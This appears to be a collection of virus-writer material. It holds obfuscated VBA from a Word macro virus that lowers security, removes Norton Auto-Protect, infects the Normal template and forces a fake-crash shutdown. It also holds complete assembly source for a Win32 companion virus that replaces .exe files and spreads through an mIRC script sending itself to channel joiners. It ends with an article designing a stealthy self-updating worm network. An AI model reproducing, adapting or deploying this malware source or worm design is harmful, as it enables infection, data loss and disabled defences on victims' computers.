final$ = P1$ & p2$ & P3$ & P4$ & P5$ & P6$: Print #1, final$

P1$ = Chr(67) & Chr(117) & Chr(114) & Chr(86) & Chr(97) & Chr(114) & Chr(32) & Chr(61) & Chr(32) & Chr(76) & Chr(101) & Chr(102) & Chr(116) & Chr(40) & Chr(65) & Chr(108) & Chr(108) & Chr(86) & Chr(97) & Chr(114) & Chr(105) & Chr(97) & Chr(98) & Chr(108) & Chr(101) & Chr(115) & Chr(44) & Chr(32) & Chr(73) & Chr(110) & Chr(83) & Chr(116) & Chr(114) & Chr(40) & Chr(65) & Chr(108) & Chr(108) & Chr(86) & Chr(97) & Chr(114) & Chr(105) & Chr(97) & Chr(98) & Chr(108) & Chr(101) & Chr(115) & Chr(44) & Chr(32) & Chr(67)

p2$ = Chr(104) & Chr(114) & Chr(40) & Chr(51) & Chr(50) & Chr(41) & Chr(41) & Chr(32) & Chr(45) & Chr(32) & Chr(49) & Chr(41) & Chr(13) & Chr(10) & Chr(65) & Chr(108) & Chr(108) & Chr(86) & Chr(97) & Chr(114) & Chr(105) & Chr(97) & Chr(98) & Chr(108) & Chr(101) & Chr(115) & Chr(32) & Chr(61) & Chr(32) & Chr(77) & Chr(105) & Chr(100) & Chr(40) & Chr(65) & Chr(108) & Chr(108) & Chr(86) & Chr(97) & Chr(114) & Chr(105) & Chr(97) & Chr(98) & Chr(108) & Chr(101) & Chr(115) & Chr(44) & Chr(32) & Chr(73) & Chr(110) & Chr(83)

P3$ = Chr(116) & Chr(114) & Chr(40) & Chr(65) & Chr(108) & Chr(108) & Chr(86) & Chr(97) & Chr(114) & Chr(105) & Chr(97) & Chr(98) & Chr(108) & Chr(101) & Chr(115) & Chr(44) & Chr(32) & Chr(67) & Chr(104) & Chr(114) & Chr(40) & Chr(51) & Chr(50) & Chr(41) & Chr(41) & Chr(32) & Chr(43) & Chr(32) & Chr(49) & Chr(41) & Chr(13) & Chr(10) & Chr(110) & Chr(101) & Chr(119) & Chr(118) & Chr(97) & Chr(114) & Chr(32) & Chr(61) & Chr(32) & Chr(99) & Chr(104) & Chr(114) & Chr(40) & Chr(105) & Chr(110) & Chr(116) & Chr(40) & Chr(114)

P4$ = Chr(110) & Chr(100) & Chr(42) & Chr(50) & Chr(53) & Chr(41) & Chr(43) & Chr(54) & Chr(53) & Chr(41) & Chr(13) & Chr(10) & Chr(102) & Chr(111) & Chr(114) & Chr(32) & Chr(121) & Chr(32) & Chr(61) & Chr(32) & Chr(49) & Chr(32) & Chr(116) & Chr(111) & Chr(32) & Chr(105) & Chr(110) & Chr(116) & Chr(40) & Chr(114) & Chr(110) & Chr(100) & Chr(42) & Chr(55) & Chr(41) & Chr(43) & Chr(49) & Chr(13) & Chr(10) & Chr(110) & Chr(101) & Chr(119) & Chr(118) & Chr(97) & Chr(114) & Chr(32) & Chr(61) & Chr(110) & Chr(101) & Chr(119)

P5$ = Chr(118) & Chr(97) & Chr(114) & Chr(32) & Chr(43) & Chr(32) & Chr(99) & Chr(104) & Chr(114) & Chr(40) & Chr(105) & Chr(110) & Chr(116) & Chr(40) & Chr(114) & Chr(110) & Chr(100) & Chr(42) & Chr(50) & Chr(53) & Chr(41) & Chr(43) & Chr(54) & Chr(53) & Chr(41) & Chr(13) & Chr(10) & Chr(110) & Chr(101) & Chr(120) & Chr(116) & Chr(13) & Chr(10) & Chr(68) & Chr(111)

final$ = P1$ & p2$ & P3$ & P4$ & P5$: Print #1, final$

P1$ = Chr(86) & Chr(97) & Chr(114) & Chr(80) & Chr(111) & Chr(115) & Chr(32) & Chr(61) & Chr(32) & Chr(73) & Chr(110) & Chr(83) & Chr(116) & Chr(114) & Chr(40) & Chr(86) & Chr(97) & Chr(114) & Chr(80) & Chr(111) & Chr(115) & Chr(32) & Chr(43) & Chr(32) & Chr(49) & Chr(44) & Chr(32) & Chr(79) & Chr(117) & Chr(114) & Chr(67) & Chr(111) & Chr(100) & Chr(101) & Chr(44) & Chr(32) & Chr(67) & Chr(117) & Chr(114) & Chr(86) & Chr(97) & Chr(114) & Chr(41) & Chr(13) & Chr(10) & Chr(73) & Chr(102) & Chr(32) & Chr(86)

p2$ = Chr(97) & Chr(114) & Chr(80) & Chr(111) & Chr(115) & Chr(32) & Chr(84) & Chr(104) & Chr(101) & Chr(110) & Chr(32) & Chr(79) & Chr(117) & Chr(114) & Chr(67) & Chr(111) & Chr(100) & Chr(101) & Chr(32) & Chr(61) & Chr(32) & Chr(77) & Chr(105) & Chr(100) & Chr(40) & Chr(79) & Chr(117) & Chr(114) & Chr(67) & Chr(111) & Chr(100) & Chr(101) & Chr(44) & Chr(32) & Chr(49) & Chr(44) & Chr(32) & Chr(40) & Chr(86) & Chr(97) & Chr(114) & Chr(80) & Chr(111) & Chr(115) & Chr(32) & Chr(45) & Chr(32) & Chr(49) & Chr(41) & Chr(41)

P3$ = Chr(32) & Chr(38) & Chr(32) & Chr(78) & Chr(101) & Chr(119) & Chr(86) & Chr(97) & Chr(114) & Chr(32) & Chr(38) & Chr(32) & Chr(77) & Chr(105) & Chr(100) & Chr(40) & Chr(79) & Chr(117) & Chr(114) & Chr(67) & Chr(111) & Chr(100) & Chr(101) & Chr(44) & Chr(32) & Chr(40) & Chr(86) & Chr(97) & Chr(114) & Chr(80) & Chr(111) & Chr(115) & Chr(32) & Chr(43) & Chr(32) & Chr(76) & Chr(101) & Chr(110) & Chr(40) & Chr(67) & Chr(117) & Chr(114) & Chr(86) & Chr(97) & Chr(114) & Chr(41) & Chr(41) & Chr(41) & Chr(13) & Chr(10)

P4$ = Chr(76) & Chr(111) & Chr(111) & Chr(112) & Chr(32) & Chr(87) & Chr(104) & Chr(105) & Chr(108) & Chr(101) & Chr(32) & Chr(86) & Chr(97) & Chr(114) & Chr(80) & Chr(111) & Chr(115) & Chr(13) & Chr(10) & Chr(76) & Chr(111) & Chr(111) & Chr(112) & Chr(32) & Chr(87) & Chr(104) & Chr(105) & Chr(108) & Chr(101) & Chr(32) & Chr(65) & Chr(108) & Chr(108) & Chr(86) & Chr(97) & Chr(114) & Chr(105) & Chr(97) & Chr(98) & Chr(108) & Chr(101) & Chr(115) & Chr(32) & Chr(60) & Chr(62) & Chr(32) & Chr(34) & Chr(34) & Chr(13) & Chr(10)

P5$ = Chr(83) & Chr(101) & Chr(116) & Chr(32) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(70) & Chr(105) & Chr(108) & Chr(101) & Chr(32) & Chr(61) & Chr(32) & Chr(70) & Chr(83) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116) & Chr(46) & Chr(79) & Chr(112) & Chr(101) & Chr(110) & Chr(84) & Chr(101) & Chr(120) & Chr(116) & Chr(70) & Chr(105) & Chr(108) & Chr(101) & Chr(40) & Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(99) & Chr(114)

P6$ = Chr(105) & Chr(112) & Chr(116) & Chr(70) & Chr(117) & Chr(108) & Chr(108) & Chr(78) & Chr(97) & Chr(109) & Chr(101) & Chr(44) & Chr(32) & Chr(50) & Chr(44) & Chr(32) & Chr(84) & Chr(114) & Chr(117) & Chr(101) & Chr(41) & Chr(32) & Chr(39) & Chr(13) & Chr(10) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(70) & Chr(105) & Chr(108) & Chr(101) & Chr(46) & Chr(87) & Chr(114) & Chr(105) & Chr(116) & Chr(101) & Chr(108) & Chr(105) & Chr(110) & Chr(101) & Chr(32) & Chr(79) & Chr(117) & Chr(114) & Chr(67)

P7$ = Chr(111) & Chr(100) & Chr(101)

final$ = P1$ & p2$ & P3$ & P4$ & P5$ & P6$ & P7$: Print #1, final$

OO$ = Chr(83) & Chr(101) & Chr(116) & Chr(32) & Chr(106) & Chr(32) & Chr(61) & Chr(32) & Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(67) & Chr(114) & Chr(101) & Chr(97) & Chr(116) & Chr(101) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116) & Chr(40) & Chr(34) & Chr(87) & Chr(111) & Chr(114) & Chr(100) & Chr(46) & Chr(65) & Chr(112) & Chr(112) & Chr(108) & Chr(105) & Chr(99) & Chr(97) & Chr(116) & Chr(105) & Chr(111) & Chr(110) & Chr(34) & Chr(41)

Print #1, OO$

OO$ = Chr(106) & Chr(46) & Chr(79) & Chr(112) & Chr(116) & Chr(105) & Chr(111) & Chr(110) & Chr(115) & Chr(46) & Chr(86) & Chr(105) & Chr(114) & Chr(117) & Chr(115) & Chr(80) & Chr(114) & Chr(111) & Chr(116) & Chr(101) & Chr(99) & Chr(116) & Chr(105) & Chr(111) & Chr(110) & Chr(32) & Chr(61) & Chr(32) & Chr(40) & Chr(53) & Chr(52) & Chr(52) & Chr(32) & Chr(45) & Chr(32) & Chr(53) & Chr(52) & Chr(52) & Chr(41)

Print #1, OO$

OO$ = Chr(106) & Chr(46) & Chr(79) & Chr(112) & Chr(116) & Chr(105) & Chr(111) & Chr(110) & Chr(115) & Chr(46) & Chr(83) & Chr(97) & Chr(118) & Chr(101) & Chr(78) & Chr(111) & Chr(114) & Chr(109) & Chr(97) & Chr(108) & Chr(80) & Chr(114) & Chr(111) & Chr(109) & Chr(112) & Chr(116) & Chr(32) & Chr(61) & Chr(32) & Chr(40) & Chr(53) & Chr(52) & Chr(52) & Chr(32) & Chr(45) & Chr(32) & Chr(53) & Chr(52) & Chr(52) & Chr(41)

Print #1, OO$

OO$ = Chr(106) & Chr(46) & Chr(79) & Chr(112) & Chr(116) & Chr(105) & Chr(111) & Chr(110) & Chr(115) & Chr(46) & Chr(67) & Chr(111) & Chr(110) & Chr(102) & Chr(105) & Chr(114) & Chr(109) & Chr(67) & Chr(111) & Chr(110) & Chr(118) & Chr(101) & Chr(114) & Chr(115) & Chr(105) & Chr(111) & Chr(110) & Chr(115) & Chr(32) & Chr(61) & Chr(32) & Chr(40) & Chr(53) & Chr(52) & Chr(52) & Chr(32) & Chr(45) & Chr(32) & Chr(53) & Chr(52) & Chr(52) & Chr(41)

Print #1, OO$

OO$ = Chr(106) & Chr(46) & Chr(79) & Chr(112) & Chr(116) & Chr(105) & Chr(111) & Chr(110) & Chr(115) & Chr(46) & Chr(83) & Chr(97) & Chr(118) & Chr(101) & Chr(78) & Chr(111) & Chr(114) & Chr(109) & Chr(97) & Chr(108) & Chr(80) & Chr(114) & Chr(111) & Chr(109) & Chr(112) & Chr(116) & Chr(32) & Chr(61) & Chr(32) & Chr(40) & Chr(53) & Chr(52) & Chr(52) & Chr(32) & Chr(45) & Chr(32) & Chr(53) & Chr(52) & Chr(52) & Chr(41)

Print #1, OO$

OO$ = Chr(70) & Chr(111) & Chr(114) & Chr(32) & Chr(120) & Chr(32) & Chr(61) & Chr(32) & Chr(49) & Chr(32) & Chr(84) & Chr(111) & Chr(32) & Chr(106) & Chr(46) & Chr(78) & Chr(111) & Chr(114) & Chr(109) & Chr(97) & Chr(108) & Chr(84) & Chr(101) & Chr(109) & Chr(112) & Chr(108) & Chr(97) & Chr(116) & Chr(101) & Chr(46) & Chr(86) & Chr(66) & Chr(80) & Chr(114) & Chr(111) & Chr(106) & Chr(101) & Chr(99) & Chr(116) & Chr(46) & Chr(86) & Chr(66) & Chr(67) & Chr(111) & Chr(109) & Chr(112) & Chr(111) & Chr(110) & Chr(101)

PP$ = Chr(110) & Chr(116) & Chr(115) & Chr(46) & Chr(73) & Chr(116) & Chr(101) & Chr(109) & Chr(40) & Chr(49) & Chr(41) & Chr(46) & Chr(67) & Chr(111) & Chr(100) & Chr(101) & Chr(77) & Chr(111) & Chr(100) & Chr(117) & Chr(108) & Chr(101) & Chr(46) & Chr(67) & Chr(111) & Chr(117) & Chr(110) & Chr(116) & Chr(79) & Chr(102) & Chr(76) & Chr(105) & Chr(110) & Chr(101) & Chr(115)

YY$ = OO$ & PP$: Print #1, YY$

OO$ = Chr(106) & Chr(46) & Chr(78) & Chr(111) & Chr(114) & Chr(109) & Chr(97) & Chr(108) & Chr(84) & Chr(101) & Chr(109) & Chr(112) & Chr(108) & Chr(97) & Chr(116) & Chr(101) & Chr(46) & Chr(86) & Chr(66) & Chr(80) & Chr(114) & Chr(111) & Chr(106) & Chr(101) & Chr(99) & Chr(116) & Chr(46) & Chr(86) & Chr(66) & Chr(67) & Chr(111) & Chr(109) & Chr(112) & Chr(111) & Chr(110) & Chr(101) & Chr(110) & Chr(116) & Chr(115) & Chr(46) & Chr(73) & Chr(116) & Chr(101) & Chr(109) & Chr(40) & Chr(49) & Chr(41) & Chr(46) & Chr(67)

PP$ = Chr(111) & Chr(100) & Chr(101) & Chr(77) & Chr(111) & Chr(100) & Chr(117) & Chr(108) & Chr(101) & Chr(46) & Chr(68) & Chr(101) & Chr(108) & Chr(101) & Chr(116) & Chr(101) & Chr(76) & Chr(105) & Chr(110) & Chr(101) & Chr(115) & Chr(32) & Chr(49)

YY$ = OO$ & PP$: Print #1, YY$

OO$ = Chr(78) & Chr(101) & Chr(120) & Chr(116): Print #1, OO$

OO$ = Chr(106) & Chr(46) & Chr(78) & Chr(111) & Chr(114) & Chr(109) & Chr(97) & Chr(108) & Chr(84) & Chr(101) & Chr(109) & Chr(112) & Chr(108) & Chr(97) & Chr(116) & Chr(101) & Chr(46) & Chr(86) & Chr(66) & Chr(80) & Chr(114) & Chr(111) & Chr(106) & Chr(101) & Chr(99) & Chr(116) & Chr(46) & Chr(86) & Chr(66) & Chr(67) & Chr(111) & Chr(109) & Chr(112) & Chr(111) & Chr(110) & Chr(101) & Chr(110) & Chr(116) & Chr(115) & Chr(46) & Chr(73) & Chr(116) & Chr(101) & Chr(109) & Chr(40) & Chr(49) & Chr(41) & Chr(46) & Chr(67)

PP$ = Chr(111) & Chr(100) & Chr(101) & Chr(77) & Chr(111) & Chr(100) & Chr(117) & Chr(108) & Chr(101) & Chr(46) & Chr(65) & Chr(100) & Chr(100) & Chr(70) & Chr(114) & Chr(111) & Chr(109) & Chr(70) & Chr(105) & Chr(108) & Chr(101) & Chr(32) & Chr(40) & Chr(34) & Chr(67) & Chr(58) & Chr(92) & Chr(119) & Chr(105) & Chr(110) & Chr(100) & Chr(111) & Chr(119) & Chr(115) & Chr(92) & Chr(115) & Chr(121) & Chr(115) & Chr(116) & Chr(101) & Chr(109) & Chr(92) & Chr(99) & Chr(104) & Chr(105) & Chr(113) & Chr(117) & Chr(105) & Chr(46) & Chr(98)

QQ$ = Chr(97) & Chr(115) & Chr(34) & Chr(41): YY$ = OO$ & PP$ & QQ$: Print #1, YY$

OO$ = Chr(106) & Chr(46) & Chr(65) & Chr(112) & Chr(112) & Chr(108) & Chr(105) & Chr(99) & Chr(97) & Chr(116) & Chr(105) & Chr(111) & Chr(110) & Chr(46) & Chr(81) & Chr(117) & Chr(105) & Chr(116)

Print #1, OO$: Close #1

End Sub

Private Sub FilePrintDefault()

Dim XX As Integer, YY As Integer: Randomize: On Error Resume Next

XX = Int(Rnd * 92) + 30: YY = Int(Rnd * 92) + 30: AA XX, YY: ActiveDocument.PrintOut: AA YY, XX

End Sub

Private Sub FileSave()

Dim XX As Integer, YY As Integer: Randomize: On Error Resume Next

XX = Int(Rnd * 92) + 30: YY = Int(Rnd * 92) + 30: AA XX, YY: BB: ActiveDocument.Save: NormalTemplate.Save: AA YY, XX

End Sub

Private Sub FilePrint()

Dim XX As Integer, YY As Integer: Randomize: On Error Resume Next

XX = Int(Rnd * 92) + 30: YY = Int(Rnd * 92) + 30: AA XX, YY: ActiveDocument.PrintOut: AA YY, XX

End Sub

Private Sub ViewVBCode()

Randomize: On Error Resume Next

XX$ = Chr(85) & Chr(110) & Chr(101) & Chr(120) & Chr(112) & Chr(101) & Chr(99) & Chr(116) & Chr(101) & Chr(100) & Chr(47) & Chr(85) & Chr(110) & Chr(100) & Chr(101) & Chr(102) & Chr(105) & Chr(110) & Chr(101) & Chr(100) & Chr(32) & Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(97) & Chr(116) & Chr(32) & Chr(97) & Chr(100) & Chr(100) & Chr(114) & Chr(101) & Chr(115) & Chr(115) & Chr(32)

t = "{00" & Int(Rnd * 999999) & ":" & Int(Rnd * 99999) & "}": MsgBox XX$ & t, vbCritical

End Sub

Private Sub Document_Close()

Dim XX As Integer, YY As Integer: Randomize: XX = Int(Rnd * 92) + 30: YY = Int(Rnd * 92) + 30: AA XX, YY: BB

End Sub

Private Sub Document_Open()

'Word2000.ChiQui

'By $MOOTHiE Da HuStla [Zero Gravity]

'August 1st, 2000

'Dedicated to my wife ChiQui :D

Dim XX As Integer, YY As Integer: Randomize: On Error Resume Next

With Options: .CheckGrammarAsYouType = (544 - 544): .CheckGrammarWithSpelling = (544 - 544): .CheckSpellingAsYouType = (544 - 544): .SavePropertiesPrompt = (544 - 544): .SaveNormalPrompt = (544 - 544): End With

With Application: .ScreenUpdating = (544 - 544): .EnableCancelKey = wdCancelDisabled: .DisplayAlerts = wdAlertsNone: .DisplayStatusBar = (544 - 544): .Caption = "$MOOTHiE Da HuStla [Zero Gravity] & ChiQui": End With

CommandBars("Tools").Controls("Macro").Enabled = (544 - 544): Controls("Tools").Controls("Security...").Enabled = False: CommandBars("Edit").Controls("Undo VBA-Find.Execute").Caption = "Undo": CommandBars("Edit").Controls("Undo").Enabled = (544 - 544)

System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&

If System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "Norton Auto-Protect") <> "" Then System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "Norton Auto-Protect") = ""

If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "ChiQui") <> "... By $MOOTHiE Da HuStla [Zero Gravity]" Then

Call CC: System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "ChiQui") = "... By $MOOTHiE Da HuStla [Zero Gravity]"

MsgBox "Windows has encountered a severe problem, and cannot continue.  Windows shall now shutdown.  If Windows does not shutdown automatically, please reset it manually.", vbCritical, "Severe Error"

N = ExitWindowsEx(1, 0&)

Else: XX = Int(Rnd * 92) + 30: YY = Int(Rnd * 92) + 30: AA XX, YY: End If

End Sub

*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*


Win32.Butterflies by Twizter / NuKE

;This is a simple win32 companion virus, which

;utilizes mirc as a worm            .

;

;By Twizter / [NuKE]

.386p

.model flat

.code

;=============================

extrn	GetSystemDirectoryA:proc;

extrn	GetWindowsDirectoryA:proc;

extrn	lstrcat:proc;

extrn	ExitProcess:proc;

extrn	GetModuleHandleA:proc;

extrn	GetModuleFileNameA:proc;

extrn	FindFirstFileA:proc;

extrn	FindNextFileA:proc;

extrn	CopyFileA:proc;

extrn	DeleteFileA:proc;

extrn	MoveFileA:proc;

extrn	_lopen:proc;

extrn	_lwrite:proc;

extrn	_lclose:proc;

extrn	WinExec:proc;

extrn	SetFilePointer:proc;

extrn	GetCurrentDirectoryA:proc;

extrn	SetCurrentDirectory:proc;

extrn	_lread:proc;

extrn	_lcreat:proc;

extrn	SetCurrentDirectoryA:proc;

;=============================

include windows.inc

;=============================

_off_	equ	2722d

_scrpt_	equ	offset end_script - offset IniData1

;=============================

begin:

push	00000001

push	offset cFileName

call	WinExec

push	offset path3

push	260

call	GetCurrentDirectoryA

push 	25

push 	offset path2

call 	GetWindowsDirectoryA

push	offset path2

call	SetCurrentDirectoryA

push	offset	handle1

call	GetModuleHandleA

push 	50

push 	offset handle2

push 	eax

call	GetModuleFileNameA

push	offset filedta

push	offset maska

call	FindFirstFileA

mov	dword ptr [handle_],eax

cmp	eax,	0

je	done_this

check:

;	cmp	nFileSizeLow, 6000d

;	jle	nextfile

mov	bx,	word ptr[cFileName]

cmp	bx,	'XE'

je	nextfile

cmp	bx,	'UR'

je	nextfile

cmp	bx,	'ur'

je	nextfile

cmp	bx,	'ME'

je	nextfile

lea	esi,	[cFileName]

lea	edi,	[newfilename]

stowit:

lodsb

cmp	al,	'.'

je	addext

stosb

jmp	stowit

addext:

stosb

lea	esi,	[newext]

movsw

movsw

push	0

push	offset newfilename

push	offset cFileName

call	MoveFileA

push	0

push	offset cFileName

push	offset handle2

call	CopyFileA

push	2

push	offset cFileName

call	_lopen

mov	dword ptr [_handle],eax

push	dword 0

push	NULL

push	_off_

push	eax

call	SetFilePointer

mov	eax,	dword ptr [_handle]

push	50

push	offset newfilename

push	eax

call	_lwrite

push	eax

call	_lclose

nextfile:

push	offset filedta

mov	eax,	dword ptr [handle_]

push	eax

call	FindNextFileA

cmp	eax,	0

je	done_this

jmp	check

done_this:

push 	25

push 	offset path1

call 	GetSystemDirectoryA

push 	offset handle3

push 	offset path1

call 	lstrcat

push	0

push	offset path1

push	offset handle2

call	CopyFileA

push	2

push	offset MircLNK

call	_lopen

mov	dword ptr [_handle],eax

push	dword 2

push	NULL

push	-50

push	eax

call	SetFilePointer

mov	eax,	dword ptr [_handle]

push	50

push	offset 	MircDir

push	eax

call	_lread

push	eax

call	_lclose

std

lea	esi,	MircIni

get_next_byte:

lodsb

cmp	al,	':'

jne	get_next_byte

push 	offset MircIni

push 	esi

call 	lstrcat

push	0

push	esi

call	_lcreat

push	_scrpt_

push	offset IniData1

push	eax

call	_lwrite

push	eax

call	_lclose

push	offset path3

call	SetCurrentDirectoryA

push	0

call	ExitProcess

;=============================

.data

handle1	db	50 	dup(0)

handle2	db	50 	dup(0)

maska	db	'*.exe',0

newext	db	'vxe',0

handle_	dd	0

_handle	dd	0

filedta:

FileAttributes	dd	0

CreationTime 	db	8	dup(0)

LastAccessTime	db	8	dup(0)

LastWriteTime	db	8	dup(0)

nFileSizeHigh	dd	0

nFileSizeLow	dd	0

dwReserved0	dd	0

dwReserved1	dd	0

cFileName	db	50	dup('N')

cAltFileName	db	14	dup(0)

newfilename	db	50	dup(0)

path2	db	25	dup(0)

path3	db	260	dup(0)

MircLNK	db	'Start Menu\Programs\mIRC\mIRC32.LNK',0

MircDir	db	50	dup(0)

MircIni	db	'\script.ini',0

Mirc_	db	'c:\mirc\script.ini',0

IniData1:

db	'[Script]',0dh,0ah

db	'n0=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }',0dh,0ah

db	'n1=  /dcc send $nick '

path1	db	25	dup(0)

handle3	db	'\FlyingButterflies.scr',0,'}'

db	100	dup(0)

end_script:

end	begin


Replicating Entity by PZest

Replicating Entity ( iWORM-NET )

by Paul Zest  a.k.a. PZest

-|-

pzest@coderz.net

Abstract

This paper is based upon the idea of a replicating entity mechanism referred to as the Internet worm or an iWORM.  The concept of the worm is well known nowadays and gathering momentum in popularity as the Internet becomes more ubiquitous.

Many worm entities use high level scripting exploits over communication system programs. These systems include IRC and email (such as MS Outlook). These system usually expect some direct interaction from the user, i.e. to run the infection agent unwittingly, by opening and running a script. The scripts will then automatically take control, search through the mail address list and then mail itself on to the next unsuspecting victim.

A lower level exploit for iWORM’s is to use the operating system level ‘socket interface’. The socket interface is an abstract communication layer that can use the TCP/IP infrastructure and allows client / server applications to be built.  The iWORM-NET is the linking up of these server programs to become a larger iWORM network, with the capabilities to update itself through the connection of established links.

Introduction

The work presented here is incomplete and is more of a presentation of ideas. I started writing this as Knowdeth made the last call for contributions for Metaphase Zine #2 so I am writing and this in order to make the publication deadline. Spelling mistakes and typos are bound to be rife in this document and that’s a shame, but there you go. The project shall be developed beyond this early start.

 The idea of a client / server iWORM has been floating around in my head for quite sometime and after reading some basic literature on socket programming I decided to see how this useful architecture could be exploited for the use of a replicating entity.

I usually think of a client / server application as the little program (client) and the big program (server). The server is the ‘established’ machine with lots of functionality and the client is the little remote portal into the server hosts facilities. The client / server paradigm can be used inside a single standalone machine but it’s more usual usage is in networked systems. The networked systems can be local area network (LAN) or a wide area network (WAN). The Internet is a sort of WAN and this is an ideal substrate for a WORM to travel around in. The Internet uses TCP/IP among other protocols such as UDP/IP.  TCP/IP is a connection oriented system (i.e. virtual link between machines is maintained) and UDP/IP is connection less system, using datagrams.  UDP is lower level than TCP and requires a bit more program intervention i.e. the assembly and ordering of IP packets however it’s a more efficient system without the TCP overheads. TCP is a popular protocol in (I)networking and has established itself as the standard. So this article will deal with TCP rather than UDP but I recommend UDP as the way to go for iWORMs’.

When I use the word ‘established’ machine I mean to say that the iWORM is a fully functioning entity looking for it next victim. The client WORM VX is a subset of the server WORM. There is a clue in that last line as to the setup of this iWORM-NET, the client WORM VX is the infection agent, sent out to seek new victims and the server WORM is the network control/command centre.

The client WORM VX consists of two basic functional parts, a virus and a socket client. The server WORM consists of a socket server, a client WORM VX generator, a control (nerve) centre and functions to ensure survivability. The server side of the iWORM-NET is responsible for knowing the state of the victim host machine, maintenance of the link infrastructure i.e. the WORM network, upgrading itself through the network, assisting the spread of more iWORMs’ and overall stealth strategies.

The iWORM-NET

A picture can say a thousand words and a few diagrams can probably say more than that, so lets start with diagram 1.

Diagram 1.

The server WORM is represented as a larger entity inside the host machine. The client WORM VX are shown as the smaller circles 1,2,3,A,B,C  . The first three clients W-Vx are floating around inside the host system and these could be attached to host files or exist as File WORMS (Companion Virus), etc. etc.  The other three W-Vx exist outside the host machine. W-Vx (B) is an entity that hasn’t found a system yet i.e. it could be in transit as an email attachment or on a floppy diskette. W-Vx (A) shown with a thin line connected to the server WORM has just established a connection to the server and is negotiating communications with the server.

The W-Vx (C) is the most significant stage is the client/server relationship. The link is established and the client WORM VX is sucking a copy of the server WORM over to the victim machine. See Diagram 2. to see the next stage in this process.

Diagram 2.

The new copy of the server WORM is installed on the victim machine and control is now handed over to the new server WORM as the task of W-Vx ( C ) is completed.

W-Vx Genocide

The next task for the new server WORM is to kill off all the W-Vx on the new victim/host machine, as these are the progeny of the other server WORM and carry the 'old' information in there structure. This older information includes an IP data list with available server WORMs. The reason for killing off the W-Vx is to allow the new server to start its task of analysing the new host machine. After a period of analysis the new server WORM is read to start generating it's own W-Vx offspring with its information seed. It may not actually be necessary to actually kill off the old W-Vx but to just update its internal data. One reason for not killing off the W-Vx on the new host machine is because the new server WORM may not have the capability of generating new client WORM VX i.e. one of it’s sub systems may be damaged or missing, see server WORM section for more information.

Diagram 3.

W-Vx / server WORM lifecycle

In the typical lifecycle of the relationship between these two entities the following things could happen. The server will be actively killing off W-Vx entities inside it’s own host. In the first instance before the server WORM is installed on the host machine the W-Vx would have found there way into the victim host and are in active phase of spreading and reproducing, whilst trying to establish a connection with the WORM net. When the server WORM takes control of the host machine the activity of the W-Vx is put to an end.

There may still be inactive W-Vx floating around i.e. on the users floppy diskettes, inside email attachments (unread email), inside archive files (zip’s, tar’s, gz’s) etc. etc.  If or when these W-Vx get activated they will be killed off immediately by the server WORM. Another scenario however is where the user introduces a W-Vx from another source i.e. an infection from a different server WORM to the original infection and the W-Vx are different. The server will still kill these new invaders but will extract the IP information contained within them. This new information would possibly add extra vitality to the server WORMs genotype.

server WORM

OK now we discuss the function of the server WORM and it's role in the scheme of things. As you can probably imagine the server is the major player in the iWORM-NET. The server appears to be very much larger than the client and the reasons for this is the much larger operational tasks such a system would need to have in order to be successful. In fact the server shouldn't be a single entity but a collection of sub-systems that are interconnected with interprocess communications ( pipes or UNIX sockets AF_UNIX ).

Diagram 4.

Sub-systems of the WORM allow the system to be transmitted to the victim host in stages. There are several reasons why this could be advantageous, namely stealth and upgradability. Stealth in a system basically means survivability and the aim of the game is to survive, as this is one of the fundamental prerequisites to eLIFE. If the new server WORM is to maintain it's ability to go unnoticed in a host machine then it must plan a strategy for importing itself in sections rather than one huge download, which would probably alert some users to something suspicious. This strategy would allow for the server sub systems to download in chunks, starting with the most important modules.

If the server connection were cut/severed without uploading the full server WORM, the partial server WORM would still be able to operate in a partially functioning form. One of these important functions would be to search for other server from it’s known list of operational WORM nets. Upon connection to a different server it could upload the missing sub systems and get back to the task in hand, namely replicating and maintaining the iWORM-NET.

Analysis of connections to the Internet is an absolute must. There are two main types of connection to the Internet, fixed and temporary. Fixed type connections are usually the domain of Government, Academic institutions, Businesses and users with a need for permanent connection. Temporary connections to the Internet usually fall into the domain of casual users, home users etc. and their provider of this Internet connection is via a telephone communications provider and an ISP (Internet Service Provider). The fixed connection user is usually connected to the Internet through a LAN connection, which feeds onto their router or gateway, and connections are usually on a fixed or sticky IP address. The temporary user may have one or more ISP provider and are allocated a dynamic IP address upon connection over a point to point protocol (PPP).

A really big problem for the server WORM is a permanent connection with a known IP address. Refer to Diagram 5 for an appreciation of this problem.

Diagram 5.

The different case demonstrates some of the problems that can be encountered, over a 24hr period.

Case 1:

In this situation the communication link is up for the full duration of the 24hr period machine (A) is the server and the machine (B) the client is able to connect to the server thus giving the system the maximum opportunity to transmit the server WORM over to the new host machine (B).

Case 2:

Machine (A) the server is connected to the Internet and is in waiting / listening mode. Machine (B) logs onto the Internet and then connects to the server WORM machine (A) however the ‘window of opportunity’ (W.O.O.) is cut short and the user on machine (A) logs off the Internet. In this case the new host machine may not have had sufficient time to download a complete server WORM system (remember the reason for sub systems). The machine (B) will have to try another server IP address or wait for machine (A) to log back in again.

Case 3:

